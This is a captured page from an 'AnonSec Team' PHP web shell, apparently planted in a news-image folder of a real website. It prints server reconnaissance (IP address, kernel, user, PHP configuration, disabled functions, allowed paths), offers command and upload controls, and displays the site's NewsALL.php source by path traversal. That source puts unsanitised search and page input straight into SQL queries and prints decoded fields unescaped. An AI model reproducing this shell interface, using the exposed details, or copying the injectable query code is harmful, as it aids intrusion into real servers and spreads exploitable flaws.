AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/admin/BackupDB/../js/datepicker/../../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/admin/BackupDB/../js/datepicker/../../../NewsALL.php
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
 ?>
<!DOCTYPE html>
<html>
  <head>
    <title><?php echo $config['web_title'];?></title>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <?php include ("head-script.php");?>
  </head>
  <?php
	include ("Connections/function-sys.php");
	include ("Connections/db.class.php");
	$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
  ?>
  <body>
	 <?php 
 	 include ("nav-bar.php");
	  include ("PictureHeader.php");
	?>
		 

 		<section class="ftco-section ftco-no-pt ftco-no-pb contact-section">
			<div class="container">
				<div class="row d-flex align-items-stretch no-gutters"  style="min-height: 450px;">
						<?php
					$gID=1;
					$sql="select  status.* from status 	where statusValue='$gID'  and comment='News'  ";
					$arr=$db->getRec($sql);		

 					echo <<<DOC
						<div   class="col-sm-12">
							<div  style="text-align:center; font-size:20px;color: #FF6600; ">$arr[status]</div><BR>
							<div   class="row">
								<div  class="col-sm-2">&nbsp;</div>
								<div  class="col-sm-12 ">
										<form class="form-search  pull-right" method="post" id="s" action="$_SERVER[PHP_SELF]">
										<span class="col-lg-11" style="padding-left:1px;padding-right:1px;">
											<input type="text"   name="TxTSeach"   placeholder="ค้นหา" value=""  style="height: 35px;">
										</span>
										<span class="col-lg-1" style="padding-left:1px;padding-right:1px;">
											<button type="submit" class="add-on  btn btn-primary" style="height: 38px;"><i class="fa fa-search" aria-hidden="true"></i></button>
 											<INPUT TYPE="hidden" NAME="gID" value="$gID">
										</span>
									</form>
							</div>
						</div>
 						
 						<div class="row">
						
DOC;

				 if(empty($_REQUEST['page'])){
					$page=1;
				}else
				{
					$page=$_REQUEST['page'];
				}
 
				if(!empty($_REQUEST['TxTSeach'])){
						$TxTSeach=$_REQUEST['TxTSeach'];
						$Where=" $Where and  news.aName like '%$TxTSeach%' ";
				}
				
 				$sql="select  news.* 
							from news 	
 							where news.gID='$gID' and news.Approve='T'  $Where order by news.mark desc,news.aDate desc   ";
				$row=$db->recCount($sql);
				foreach ($db->dbSearch_Page($sql,$_REQUEST['page'],$config['list4page']) as $i=>$arr) {
					if($i>0 and $i%3==0){
							echo "<div class=\"row\"></div>";
					 }
					$arr[aDate]=ShowAllDate($arr[aDate],1);
					$arr[aName]=htmlspecialchars_decode($arr[aName], ENT_QUOTES);
					$arr[aTitle]=htmlspecialchars_decode($arr[aTitle], ENT_QUOTES);
					$arr[aDesc]=htmlspecialchars_decode($arr[aDesc], ENT_QUOTES);
					if(!empty($arr[aLink])){
							$Link=$arr[aLink];
						}else
						{
							$Link="ShowNews.php?aID=$arr[aID]";
						}
					echo <<<DOC
						  <div class="col-sm-4 col-md-4 col-lg-4" style="text-align: left">
							<div class="post mb-20">
							  <div class="post-thumbnail"><a href="$Link"  target="a$arr[aID]"><img src="admin/images/News/$arr[aImg]" alt="News" style="height: 180px;width: 300px;border-radius: 10px 10px 10px 10px;"  class="img-thumbnail"/></a></div>
								 <div> <a href="ShowNews.php?aID=$arr[aID]"  target="a$arr[aID]" style="color:#999999;font-size: 12px;">$arr[aDate]</a></div>
							  <div class="post-header font-alt" style="text-align: left"> 
								<span><a href="$Link"  target="a$arr[aID]">$arr[aName]</a>
 							  </div>
							  <div class="post-entry"  style="height: 110px;text-align: left;font-size: 13px;">
								$arr[aTitle]
 								 <!--  <div class="post-more"><a class="more-link" href="ShowNews.php?aID=$arr[aID]" target="a$arr[aID]">อ่านรายละเอียด.</a></div>   -->
								 
							  </div>
							   
							</div>
						</div>
DOC;
				}
				echo "</div>";
				if($row!=0){
					echo " <div style=\"width:90%;text-align: left;\">";
					echo $db->show_Page3($sql,$row,$config['list4page'],$page,$_SERVER[PHP_SELF],"gID=$gID");
					echo "</div>";
				}
			 ?> 




				</div>
			</div>
		</section>

		
		 <?php include ("footer.php");?>
    
  </body>
</html>

AnonSec - 2021